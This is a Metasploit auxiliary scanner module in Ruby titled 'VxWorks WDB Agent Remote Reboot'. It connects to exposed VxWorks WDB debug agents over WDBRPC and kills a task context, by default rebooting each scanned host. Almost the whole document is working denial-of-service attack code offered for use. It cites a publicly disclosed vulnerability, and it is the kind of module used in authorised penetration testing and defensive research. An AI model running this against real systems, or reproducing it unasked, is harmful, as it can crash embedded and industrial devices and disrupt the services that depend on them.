##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::WDBRPC_Client
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VxWorks WDB Agent Remote Reboot',
        'Description' => %q{
          This module provides the ability to reboot a VxWorks target through WDBRPC.
        },
        'Author' => [ 'hdm'],
        'License' => MSF_LICENSE,
        'References' => [
          ['OSVDB', '66842'],
          ['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
          ['US-CERT-VU', '362332']
        ],
        'Actions' => [
          ['Reboot', { 'Description' => 'Reboot target' }]
        ],
        'DefaultAction' => 'Reboot',
        'Notes' => {
          'Stability' => [CRASH_OS_RESTARTS],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('CONTEXT', [ true, 'The context to terminate (0=system reboot)', 0 ])
      ]
    )
  end

  def run_host(ip)
    wdbrpc_client_connect

    @wdbrpc_info[:rt_membase]
    @wdbrpc_info[:rt_memsize]
    @wdbrpc_info[:agent_mtu]
    ctx = datastore['CONTEXT'].to_i

    print_status("#{ip} - Killing task context #{ctx}...")

    wdbrpc_client_context_kill((ctx != 0) ? 3 : 0, ctx)

    print_status("#{ip} - Done")

    wdbrpc_client_disconnect
  end
end
